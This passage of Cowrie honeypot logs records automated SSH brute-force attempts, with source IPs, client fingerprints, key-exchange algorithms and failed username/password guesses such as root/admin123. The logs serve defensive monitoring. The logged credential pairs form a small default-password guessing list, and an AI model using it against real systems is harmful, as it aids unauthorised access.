CS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:15.038793Z","src_ip":"192.109.200.78","session":"e61704d9292f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changeme","message":"login attempt [root/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:15.292515Z","src_ip":"192.109.200.78","session":"e61704d9292f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:16.392690Z","src_ip":"192.109.200.78","session":"e61704d9292f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":50044,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bfc0f3d9dcb","protocol":"ssh","message":"New connection: 176.65.139.95:50044 (159.203.135.109:22) [session: 8bfc0f3d9dcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:17.429021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:17.433708Z","src_ip":"176.65.139.95","session":"8bfc0f3d9dcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:17.519296Z","src_ip":"176.65.139.95","session":"8bfc0f3d9dcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:17.786643Z","src_ip":"176.65.139.95","session":"8bfc0f3d9dcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:18.951582Z","src_ip":"176.65.139.95","session":"8bfc0f3d9dcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36424,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbeb058c8b01","protocol":"ssh","message":"New connection: 192.109.200.78:36424 (159.203.135.109:22) [session: cbeb058c8b01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:18.989348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:18.994031Z","src_ip":"192.109.200.78","session":"cbeb058c8b01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:19.079600Z","src_ip":"192.109.200.78","session":"cbeb058c8b01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:19.545941Z","src_ip":"192.109.200.78","session":"cbeb058c8b01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:20.634790Z","src_ip":"192.109.200.78","session":"cbeb058c8b01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":57895,"dst_ip":"10.17.0.5","dst_port":22,"session":"937c6e39ddd1","protocol":"ssh","message":"New connection: 177.54.62.66:57895 (10.17.0.5:22) [session: 937c6e39ddd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:22.110393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:22.115303Z","src_ip":"177.54.62.66","session":"937c6e39ddd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:22.247590Z","src_ip":"177.54.62.66","session":"937c6e39ddd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@2021","message":"login attempt [root/test@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:22.803067Z","src_ip":"177.54.62.66","session":"937c6e39ddd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36440,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce39d3cdb0b5","protocol":"ssh","message":"New connection: 192.109.200.78:36440 (159.203.135.109:22) [session: ce39d3cdb0b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:23.175195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:23.178334Z","src_ip":"192.109.200.78","session":"ce39d3cdb0b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:23.262144Z","src_ip":"192.109.200.78","session":"ce39d3cdb0b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx3edc","message":"login attempt [root/!QAZ2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:23.510565Z","src_ip":"192.109.200.78","session":"ce39d3cdb0b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42898,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e033dae80c2","protocol":"ssh","message":"New connection: 176.65.139.95:42898 (159.203.135.109:22) [session: 9e033dae80c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:23.801372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:23.809472Z","src_ip":"176.65.139.95","session":"9e033dae80c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:23.929261Z","src_ip":"176.65.139.95","session":"9e033dae80c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:23.954254Z","src_ip":"177.54.62.66","session":"937c6e39ddd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:24.265972Z","src_ip":"176.65.139.95","session":"9e033dae80c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:24.599718Z","src_ip":"192.109.200.78","session":"ce39d3cdb0b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:25.351909Z","src_ip":"176.65.139.95","session":"9e033dae80c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36456,"dst_ip":"159.203.135.109","dst_port":22,"session":"29d2b0833b4f","protocol":"ssh","message":"New connection: 192.109.200.78:36456 (159.203.135.109:22) [session: 29d2b0833b4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:27.205456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:27.210179Z","src_ip":"192.109.200.78","session":"29d2b0833b4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:27.297095Z","src_ip":"192.109.200.78","session":"29d2b0833b4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:27.648095Z","src_ip":"192.109.200.78","session":"29d2b0833b4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:28.738757Z","src_ip":"192.109.200.78","session":"29d2b0833b4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00200343132019,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:29.072092Z","src_ip":"119.94.70.246","session":"38daaef468ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38236,"dst_ip":"159.203.135.109","dst_port":22,"session":"48e16d6edc5a","protocol":"ssh","message":"New connection: 176.65.139.95:38236 (159.203.135.109:22) [session: 48e16d6edc5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:30.219805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:30.225190Z","src_ip":"176.65.139.95","session":"48e16d6edc5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:30.307932Z","src_ip":"176.65.139.95","session":"48e16d6edc5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"123456","message":"login attempt [martin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:30.591055Z","src_ip":"176.65.139.95","session":"48e16d6edc5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39532,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9eda2fd5935","protocol":"ssh","message":"New connection: 192.109.200.78:39532 (159.203.135.109:22) [session: f9eda2fd5935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:31.411950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:31.414924Z","src_ip":"192.109.200.78","session":"f9eda2fd5935","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:31.501098Z","src_ip":"192.109.200.78","session":"f9eda2fd5935","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:31.676312Z","src_ip":"176.65.139.95","session":"48e16d6edc5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39676,"dst_ip":"159.203.135.109","dst_port":22,"session":"13c377616212","protocol":"ssh","message":"New connection: 159.203.92.129:39676 (159.203.135.109:22) [session: 13c377616212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:31.723773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:31.733102Z","src_ip":"159.203.92.129","session":"13c377616212","protocol":"ssh"}
